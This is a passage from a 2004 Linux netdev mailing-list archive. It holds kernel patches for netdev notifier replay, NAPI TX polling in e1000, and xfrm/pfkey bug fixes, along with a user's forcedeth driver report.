Content-Length: 4676 Lines: 177 Change IPV6 to handle the new case where netdev events are replayed on registration: * change code ordering so address configuration is ready before registration (this was actually a bug in existing code) * take out code that capture's existing devices, this is now done in the replay * make notifier code local to addrconf.c so it can be have smaller scope diff -Nru a/include/net/addrconf.h b/include/net/addrconf.h --- a/include/net/addrconf.h Thu Dec 18 15:42:20 2003 +++ b/include/net/addrconf.h Thu Dec 18 15:42:20 2003 @@ -50,10 +50,6 @@ extern void addrconf_init(void); extern void addrconf_cleanup(void); -extern int addrconf_notify(struct notifier_block *this, - unsigned long event, - void * data); - extern int addrconf_add_ifaddr(void *arg); extern int addrconf_del_ifaddr(void *arg); extern int addrconf_set_dstaddr(void *arg); diff -Nru a/include/net/ipv6.h b/include/net/ipv6.h --- a/include/net/ipv6.h Thu Dec 18 15:42:20 2003 +++ b/include/net/ipv6.h Thu Dec 18 15:42:20 2003 @@ -408,11 +408,7 @@ extern void ipv6_packet_init(void); -extern void ipv6_netdev_notif_init(void); - extern void ipv6_packet_cleanup(void); - -extern void ipv6_netdev_notif_cleanup(void); extern int ipv6_recv_error(struct sock *sk, struct msghdr *msg, int len); extern void ipv6_icmp_error(struct sock *sk, struct sk_buff *skb, int err, u16 port, diff -Nru a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c --- a/net/ipv6/addrconf.c Thu Dec 18 15:42:20 2003 +++ b/net/ipv6/addrconf.c Thu Dec 18 15:42:20 2003 @@ -1810,8 +1810,8 @@ } -int addrconf_notify(struct notifier_block *this, unsigned long event, - void * data) +static int addrconf_notify(struct notifier_block *this, unsigned long event, + void * data) { struct net_device *dev = (struct net_device *) data; struct inet6_dev *idev = __in6_dev_get(dev); @@ -1881,6 +1881,14 @@ return NOTIFY_OK; } +/* + * addrconf module should be notified of a device going up + */ +static struct notifier_block ipv6_dev_notf = { + .notifier_call = addrconf_notify, + .priority = 0 +}; + static int addrconf_ifdown(struct net_device *dev, int how) { struct inet6_dev *idev; @@ -3126,9 +3134,7 @@ void __init addrconf_init(void) { -#ifdef MODULE - struct net_device *dev; -#endif + register_netdevice_notifier(&ipv6_dev_notf); #ifdef CONFIG_IPV6_PRIVACY md5_tfm = crypto_alloc_tfm("md5", 0); @@ -3137,30 +3143,6 @@ "failed to load transform for md5\n"); #endif -#ifdef MODULE - /* This takes sense only during module load. */ - rtnl_lock(); - for (dev = dev_base; dev; dev = dev->next) { - if (!(dev->flags&IFF_UP)) - continue; - - switch (dev->type) { - case ARPHRD_LOOPBACK: - init_loopback(dev); - break; - case ARPHRD_ETHER: - case ARPHRD_FDDI: - case ARPHRD_IEEE802_TR: - case ARPHRD_ARCNET: - addrconf_dev_config(dev); - break; - default:; - /* Ignore all other */ - } - } - rtnl_unlock(); -#endif - addrconf_verify(0); rtnetlink_links[PF_INET6] = inet6_rtnetlink_table; #ifdef CONFIG_SYSCTL @@ -3178,6 +3160,8 @@ struct inet6_ifaddr *ifa; int i; + unregister_netdevice_notifier(&ipv6_dev_notf); + rtnetlink_links[PF_INET6] = NULL; #ifdef CONFIG_SYSCTL addrconf_sysctl_unregister(&ipv6_devconf_dflt); @@ -3231,3 +3215,4 @@ #endif } #endif /* MODULE */ + diff -Nru a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c --- a/net/ipv6/af_inet6.c Thu Dec 18 15:42:20 2003 +++ b/net/ipv6/af_inet6.c Thu Dec 18 15:42:20 2003 @@ -802,7 +802,6 @@ if (if6_proc_init()) goto proc_if6_fail; #endif - ipv6_netdev_notif_init(); ipv6_packet_init(); ip6_route_init(); ip6_flowlabel_init(); @@ -869,7 +868,6 @@ #endif /* Cleanup code parts. */ sit_cleanup(); - ipv6_netdev_notif_cleanup(); ip6_flowlabel_cleanup(); addrconf_cleanup(); ip6_route_cleanup(); diff -Nru a/net/ipv6/ipv6_sockglue.c b/net/ipv6/ipv6_sockglue.c --- a/net/ipv6/ipv6_sockglue.c Thu Dec 18 15:42:20 2003 +++ b/net/ipv6/ipv6_sockglue.c Thu Dec 18 15:42:20 2003 @@ -62,14 +62,6 @@ .func = ipv6_rcv, }; -/* - * addrconf module should be notified of a device going up - */ -static struct notifier_block ipv6_dev_notf = { - .notifier_call = addrconf_notify, - .priority = 0 -}; - struct ip6_ra_chain *ip6_ra_chain; rwlock_t ip6_ra_lock = RW_LOCK_UNLOCKED; @@ -707,19 +699,9 @@ dev_add_pack(&ipv6_packet_type); } -void __init ipv6_netdev_notif_init(void) -{ - register_netdevice_notifier(&ipv6_dev_notf); -} - #ifdef MODULE void ipv6_packet_cleanup(void) { dev_remove_pack(&ipv6_packet_type); -} - -void ipv6_netdev_notif_cleanup(void) -{ - unregister_netdevice_notifier(&ipv6_dev_notf); } #endif From shemminger@osdl.org Tue Jan 13 11:03:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:03:51 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJ3a6H008522 for ; Tue, 13 Jan 2004 11:03:36 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DJ3No12745; Tue, 13 Jan 2004 11:03:23 -0800 Date: Tue, 13 Jan 2004 11:01:03 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, Henner Eisen , linux-x25@vger.kernel.org Subject: [PATCH] (3/5) remove X25 pre-existing device discovery loop Message-Id: <20040113110103.4a36c0d1.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 977 Lines: 40 Remove duplicate/conflicting code now that netdev_register_notifier replays the device registration events. diff -Nru a/net/x25/af_x25.c b/net/x25/af_x25.c --- a/net/x25/af_x25.c Mon Jan 12 14:22:07 2004 +++ b/net/x25/af_x25.c Mon Jan 12 14:22:07 2004 @@ -1372,9 +1372,6 @@ static int __init x25_init(void) { -#ifdef MODULE - struct net_device *dev; -#endif /* MODULE */ sock_register(&x25_family_ops); dev_add_pack(&x25_packet_type); @@ -1386,23 +1383,7 @@ #ifdef CONFIG_SYSCTL x25_register_sysctl(); #endif - x25_proc_init(); -#ifdef MODULE - /* - * Register any pre existing devices. - */ - read_lock(&dev_base_lock); - for (dev = dev_base; dev; dev = dev->next) { - if ((dev->flags & IFF_UP) && (dev->type == ARPHRD_X25 -#if defined(CONFIG_LLC) || defined(CONFIG_LLC_MODULE) - || dev->type == ARPHRD_ETHER -#endif - )) - x25_link_device_up(dev); - } - read_unlock(&dev_base_lock); -#endif /* MODULE */ return 0; } module_init(x25_init); From shemminger@osdl.org Tue Jan 13 11:03:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:03:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJ3b6H008524 for ; Tue, 13 Jan 2004 11:03:37 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DJ3Oo12752; Tue, 13 Jan 2004 11:03:24 -0800 Date: Tue, 13 Jan 2004 11:01:47 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, Nenad Corbic Subject: [PATCH] (5/5) lapbether remove pre-existing device discovery loop Message-Id: <20040113110147.641bf4e1.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 677 Lines: 28 Remove duplicate/conflicting code now that netdev_register_notifier replays the device registration events. diff -Nru a/drivers/net/wan/lapbether.c b/drivers/net/wan/lapbether.c --- a/drivers/net/wan/lapbether.c Tue Jan 13 10:26:01 2004 +++ b/drivers/net/wan/lapbether.c Tue Jan 13 10:26:01 2004 @@ -448,21 +448,11 @@ static int __init lapbeth_init_driver(void) { - struct net_device *dev; - dev_add_pack(&lapbeth_packet_type); register_netdevice_notifier(&lapbeth_dev_notifier); printk(banner); - - rtnl_lock(); - for (dev = dev_base; dev; dev = dev->next) { - if (dev_is_ethdev(dev)) { - lapbeth_new_device(dev); - } - } - rtnl_unlock(); return 0; } From shemminger@osdl.org Tue Jan 13 11:03:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:03:55 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJ3b6H008523 for ; Tue, 13 Jan 2004 11:03:37 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DJ3Qo12758; Tue, 13 Jan 2004 11:03:26 -0800 Date: Tue, 13 Jan 2004 10:58:43 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040113105843.0d1351cb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1648 Lines: 48 Several protocols register for network device notification to detect new new network devices; but then have to walk the device list to capture the devices that are already up. This leaves a exposed window between when the notifier is registered and when the list walk occurs. Also, in several cases, there is a different code path for the pre-existing and new devices which leads to bug exposure. The solution is to replay the registration and up events for existing devices into the new notifier. All notifiers in 2.6.1 have been audited and the other patches fix places where protocols were doing there own registered device discovery loop. Thanks to Al Viro for the suggestion. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Thu Dec 18 15:32:11 2003 +++ b/net/core/dev.c Thu Dec 18 15:32:11 2003 @@ -946,11 +946,29 @@ * The notifier passed is linked into the kernel structures and must * not be reused until it has been unregistered. A negative errno code * is returned on a failure. + * + * When registered all registration and up events are replayed + * to the new notifier to allow device to have a race free + * view of the network device list. */ int register_netdevice_notifier(struct notifier_block *nb) { - return notifier_chain_register(&netdev_chain, nb); + struct net_device *dev; + int err; + + rtnl_lock(); + err = notifier_chain_register(&netdev_chain, nb); + if (!err) { + for (dev = dev_base; dev; dev = dev->next) { + nb->notifier_call(nb, NETDEV_REGISTER, dev); + + if (dev->flags & IFF_UP) + nb->notifier_call(nb, NETDEV_UP, dev); + } + } + rtnl_unlock(); + return err; } /** From Robert.Olsson@data.slu.se Tue Jan 13 11:10:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:10:45 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJAV6H010477 for ; Tue, 13 Jan 2004 11:10:32 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i0DJ9R6q013054; Tue, 13 Jan 2004 20:09:27 +0100 Received: by robur.slu.se (Postfix, from userid 1000) id 112DDEC26F; Tue, 13 Jan 2004 20:09:27 +0100 (CET) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16388.16999.36698.328251@robur.slu.se> Date: Tue, 13 Jan 2004 20:09:27 +0100 To: Jeff Garzik Cc: Robert Olsson , Greg Banks , "David S. Miller" , Linux Network Development list , jchapman@katalix.com Subject: Re: [PATCH] make tg3 NAPI support configurable In-Reply-To: <4000ABBA.50601@pobox.com> References: <3FE2F3A7.2A109F28@melbourne.sgi.com> <16354.64258.364153.488309@robur.slu.se> <4000ABBA.50601@pobox.com> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 2397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Content-Length: 3020 Lines: 94 Jeff Garzik writes: > > Furthermore NAPI can be extended to schedule dev->poll even for TX- > > interrupts. There is pacth for e1000 doing this. We see about 5-8% > > overall system packet improvement with this. > > tg3 already schedules for TX, so we've got that part covered :) Hello! I was thinking of a variant JC [jchapman@katalix.com] mentioned on this list some time ago. He also sent me the patch for e1000. A test and the patch is below. Routing test. ============ 2 * 10 Million pkts @ 2*783 kpps into eth0, eth2 routed to eth1, eth3. (TX-OK is the number to look for) Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flags eth0 1500 0 3494625 8258316 8258316 6505378 24 0 0 0 BRU eth1 1500 0 45 0 0 0 3494627 0 0 0 BRU eth2 1500 0 3493930 8270692 8270692 6506073 21 0 0 0 BRU eth3 1500 0 1 0 0 0 3493929 0 0 0 BRU CPU0 26: 74 IO-APIC-level eth0 27: 48617 IO-APIC-level eth1 28: 71 IO-APIC-level eth2 29: 48659 IO-APIC-level eth3 ------------------------------------------------------------------------------- With patch. Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flags eth0 1500 0 3752858 8151787 8151787 6247146 23 0 0 0 BRU eth1 1500 0 47 0 0 0 3751676 0 0 0 BRU eth2 1500 0 3751226 8191511 8191511 6248777 21 0 0 0 BRU eth3 1500 0 1 0 0 0 3750490 0 0 0 BRU CPU0 26: 125 IO-APIC-level eth0 27: 127 IO-APIC-level eth1 28: 122 IO-APIC-level eth2 29: 137 IO-APIC-level eth3 TX interrupts alone now schedules consecutive polls. We route 7.5 Million pkts w/o any interrupts. Total throughput from 0.349% to 0.375% (~580 kpps) Of course having having RX-only and TX-only is special case... TCP-stream test. ================ Netperf w. single TCP-stream recv showed 938 Mbit/s both with and without patch and interrupts rates were the same. XEON @ 2.66 GHz w. e1000 4-port board. Linux 2.6.0-test11/UP --- e1000_main.c.orig 2003-08-26 22:59:00.000000000 +0100 +++ e1000_main.c 2003-08-26 23:03:35.000000000 +0100 @@ -2061,19 +2061,21 @@ struct e1000_adapter *adapter = netdev->priv; int work_to_do = min(*budget, netdev->quota); int work_done = 0; - - e1000_clean_tx_irq(adapter); + boolean_t tx_cleaned; + + tx_cleaned = e1000_clean_tx_irq(adapter); e1000_clean_rx_irq(adapter, &work_done, work_to_do); - *budget -= work_done; - netdev->quota -= work_done; - - if(work_done < work_to_do) { + if(!tx_cleaned && (work_done == 0)) { netif_rx_complete(netdev); e1000_irq_enable(adapter); + return 0; } - return (work_done >= work_to_do); + *budget -= work_done; + netdev->quota -= work_done; + + return 1; } #endif Cheers. --ro From hk@hkit.de Tue Jan 13 12:44:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 12:44:23 -0800 (PST) Received: from imail.paderlinx.de (mail.paderlinx.de [62.52.113.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DKi96H029182 for ; Tue, 13 Jan 2004 12:44:10 -0800 Received: from [192.168.0.201] ([217.187.158.177]) by imail.paderlinx.de (Netscape Messaging Server 4.15) with ESMTP id HRG49E00.K1H; Tue, 13 Jan 2004 21:44:02 +0100 Mime-Version: 1.0 (Apple Message framework v609) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary="Apple-Mail-7--917323085" Message-Id: <37AE57B8-4609-11D8-8E0C-000393BE213C@hkit.de> Content-Transfer-Encoding: 7bit Cc: c-d.hailfinger.kernel.2003@gmx.net From: Hubertus Krogmann Subject: Date: Tue, 13 Jan 2004 21:44:01 +0100 To: netdev@oss.sgi.com X-Pgp-Agent: GPGMail 1.0 (v30, 10.3) X-Mailer: Apple Mail (2.609) X-archive-position: 2398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hk@hkit.de Precedence: bulk X-list: netdev Content-Length: 2750 Lines: 75 --Apple-Mail-7--917323085 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Hello Thanx 1st for providing this forcedeth driver. It works on my MSI nforce board force:~ # lspci 00:00.0 Host bridge: nVidia Corporation nForce CPU bridge (rev b2) 00:00.1 RAM memory: nVidia Corporation nForce 220/420 Memory Controller (rev b2) 00:00.2 RAM memory: nVidia Corporation nForce 220/420 Memory Controller (rev b2) 00:00.3 RAM memory: nVidia Corporation nForce 420 Memory Controller (DDR) (rev b2) 00:01.0 ISA bridge: nVidia Corporation nForce ISA Bridge (rev c3) 00:01.1 SMBus: nVidia Corporation nForce PCI System Management (rev c1) 00:02.0 USB Controller: nVidia Corporation nForce USB Controller (rev c3) 00:03.0 USB Controller: nVidia Corporation nForce USB Controller (rev c3) 00:04.0 Ethernet controller: nVidia Corporation nForce Ethernet Controller (rev c2) 00:05.0 Multimedia audio controller: nVidia Corporation: Unknown device 01b0 (rev c2) 00:06.0 Multimedia audio controller: nVidia Corporation nForce Audio (rev c2) 00:08.0 PCI bridge: nVidia Corporation nForce PCI-to-PCI bridge (rev c2) 00:09.0 IDE interface: nVidia Corporation nForce IDE (rev c3) 00:1e.0 PCI bridge: nVidia Corporation nForce AGP to PCI Bridge (rev b2) 01:01.0 FireWire (IEEE 1394): Texas Instruments TSB12LV26 IEEE-1394 Controller (Link) 01:03.0 SCSI storage controller: LSI Logic / Symbios Logic 53c860 (rev 02) 02:00.0 VGA compatible controller: nVidia Corporation NVCrush11 [GeForce2 MX Integrated Graphics] (rev b1) I do have a problem, my system hangs sometimes for about 5-10 seconds. While I ping my system : no hangs Start ping while it hangs : hang is over immediately. That is why I will try your driver. Anything I may test ? Another PC w2k and a Apple iBook can be used with a SMC router with integrated 4 port switch... -- Hubertus Krogmann -- hk @ hkit . de -- www . hkit . de GPG Fingerprint 42 F9 76 30 C0 E6 A5 59 AE F9 DD 12 A2 29 69 2F --Apple-Mail-7--917323085 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iQEVAwUBQARYl/ME5VGxtm9BAQGwJwgAu3SMEwLKah1T2D3+BlD8OahL7aNRG1th 2nKdbcfzwlozwrLvZyQiQ+f3kGgtNRJRTo4OVXIHGyHzYKg6W8pmg/j72A0ryCZm EWvE6ZBpyWBpcNII5HeBy3v02Cy7s7OpPefLJFAa4WnWT/Mc+js0UBOIP6gywZbz uTPr7C8jQK0RJv4P2ernDy0gDJF3IFvyTgpqK7XGWnheelxmYz+06nMT1q9hc6s5 vh8SSrMbp0w6rNtd9JNyFTd1B7Ov8zorzsTVeMVS0FHH5sGjVpSL14OhASmGxrYE aCxZUIhwj7er88xJBtMUGFYNW2UL2+2HRCV9+CStWb5shYbD3IqDqA== =5BO/ -----END PGP SIGNATURE----- --Apple-Mail-7--917323085-- From krkumar@us.ibm.com Tue Jan 13 13:29:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 13:30:05 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DLTi6H030749 for ; Tue, 13 Jan 2004 13:29:45 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0DLTdd6418922; Tue, 13 Jan 2004 16:29:39 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0DLTbh5226522; Tue, 13 Jan 2004 16:29:38 -0500 Date: Tue, 13 Jan 2004 13:21:19 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: Krishna Kumar , Subject: [PATCH 1/5] ipcomp_tunnel_create doesn't set tunnel state In-Reply-To: <20040110121134.08481951.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 724 Lines: 27 > > Or should I send separate patches this time ? > > I think this would be a good idea. ipcomp_tunnel_create doesn't set x->km.state to XFRM_STATE_DEAD. This can lead to the BUG_TRAP in __xfrm_state_destroy when xfrm_state_put() finds this is the last reference. This was reported as one of the symptoms of [Bug 1754] some time back. thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/net/ipv4/ipcomp.c linux-2.6.0-rc2-bk6/net/ipv4/ipcomp.c --- linux-2.6.0-rc2-bk6.org/net/ipv4/ipcomp.c 2004-01-05 13:43:50.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/ipv4/ipcomp.c 2004-01-09 13:00:22.000000000 -0800 @@ -294,6 +294,7 @@ return t; error: + t->km.state = XFRM_STATE_DEAD; xfrm_state_put(t); t = NULL; goto out; From krkumar@us.ibm.com Tue Jan 13 13:31:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 13:31:15 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DLV16H031092 for ; Tue, 13 Jan 2004 13:31:02 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0DLUud6287540; Tue, 13 Jan 2004 16:30:56 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0DLUsh5189858; Tue, 13 Jan 2004 16:30:55 -0500 Date: Tue, 13 Jan 2004 13:22:36 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [PATCH 2/5] Bad dereference of xfrm_state in pf_key In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1267 Lines: 39 In pfkey_get(), the xfrm_state is dereferenced after it is dropped, which could lead to dereferencing freed memory. This can also be done by dropping the reference before the pfkey_broadcast() and in the IS_ERR case. thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/net/key/af_key.c linux-2.6.0-rc2-bk6/net/key/af_key.c --- linux-2.6.0-rc2-bk6.org/net/key/af_key.c 2004-01-05 13:45:47.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/key/af_key.c 2004-01-09 12:41:30.000000000 -0800 @@ -1283,6 +1283,7 @@ static int pfkey_get(struct sock *sk, struct sk_buff *skb, struct sadb_msg *hdr, void **ext_hdrs) { + __u8 proto; struct sk_buff *out_skb; struct sadb_msg *out_hdr; struct xfrm_state *x; @@ -1297,6 +1298,7 @@ return -ESRCH; out_skb = pfkey_xfrm_state2msg(x, 1, 3); + proto = x->id.proto; xfrm_state_put(x); if (IS_ERR(out_skb)) return PTR_ERR(out_skb); @@ -1304,7 +1306,7 @@ out_hdr = (struct sadb_msg *) out_skb->data; out_hdr->sadb_msg_version = hdr->sadb_msg_version; out_hdr->sadb_msg_type = SADB_DUMP; - out_hdr->sadb_msg_satype = pfkey_proto2satype(x->id.proto); + out_hdr->sadb_msg_satype = pfkey_proto2satype(proto); out_hdr->sadb_msg_errno = 0; out_hdr->sadb_msg_reserved = 0; out_hdr->sadb_msg_seq = hdr->sadb_msg_seq; From krkumar@us.ibm.com Tue Jan 13 13:32:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 13:32:16 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DLW16H031495 for ; Tue, 13 Jan 2004 13:32:03 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i0DLVtKc176414; Tue, 13 Jan 2004 16:31:55 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0DLVrh5185430; Tue, 13 Jan 2004 16:31:54 -0500 Date: Tue, 13 Jan 2004 13:23:35 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: netdev@oss.sgi.com Subject: [PATCH 3/5] xfrm_lookup bugs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2401 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1452 Lines: 50 In xfrm_lookup, a couple of bugs : - the found or allocated xfrm_states are not passed correctly to xfrm_bundle_create (and to the subsequent frees in case of create failing) if the first xfrm_tmpl_resolve failed and the second one succeeded. - error handling is wrong. thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c --- linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c 2004-01-09 12:42:53.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c 2004-01-12 09:55:26.000000000 -0800 @@ -783,25 +783,27 @@ __set_task_state(tsk, TASK_INTERRUPTIBLE); add_wait_queue(&km_waitq, &wait); - err = xfrm_tmpl_resolve(policy, fl, xfrm, family); - if (err == -EAGAIN) + nx = xfrm_tmpl_resolve(policy, fl, xfrm, family); + if (nx == -EAGAIN) schedule(); __set_task_state(tsk, TASK_RUNNING); remove_wait_queue(&km_waitq, &wait); - if (err == -EAGAIN && signal_pending(current)) { + if (nx == -EAGAIN && signal_pending(current)) { err = -ERESTART; goto error; } - if (err == -EAGAIN || + if (nx == -EAGAIN || genid != atomic_read(&flow_cache_genid)) { xfrm_pol_put(policy); goto restart; } + err = nx; } - if (err) + if (err < 0) goto error; - } else if (nx == 0) { + } + if (nx == 0) { /* Flow passes not transformed. */ xfrm_pol_put(policy); return 0; From krkumar@us.ibm.com Tue Jan 13 13:32:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 13:33:03 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DLWn6H031754 for ; Tue, 13 Jan 2004 13:32:49 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0DLWhg6571464; Tue, 13 Jan 2004 16:32:43 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0DLWfh5222660; Tue, 13 Jan 2004 16:32:42 -0500 Date: Tue, 13 Jan 2004 13:24:23 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: netdev@oss.sgi.com, KK Subject: [PATCH 4/5] xfrm_state_construct doesn't set tunnel state In-Reply-To: Message-ID: MIME-Version: 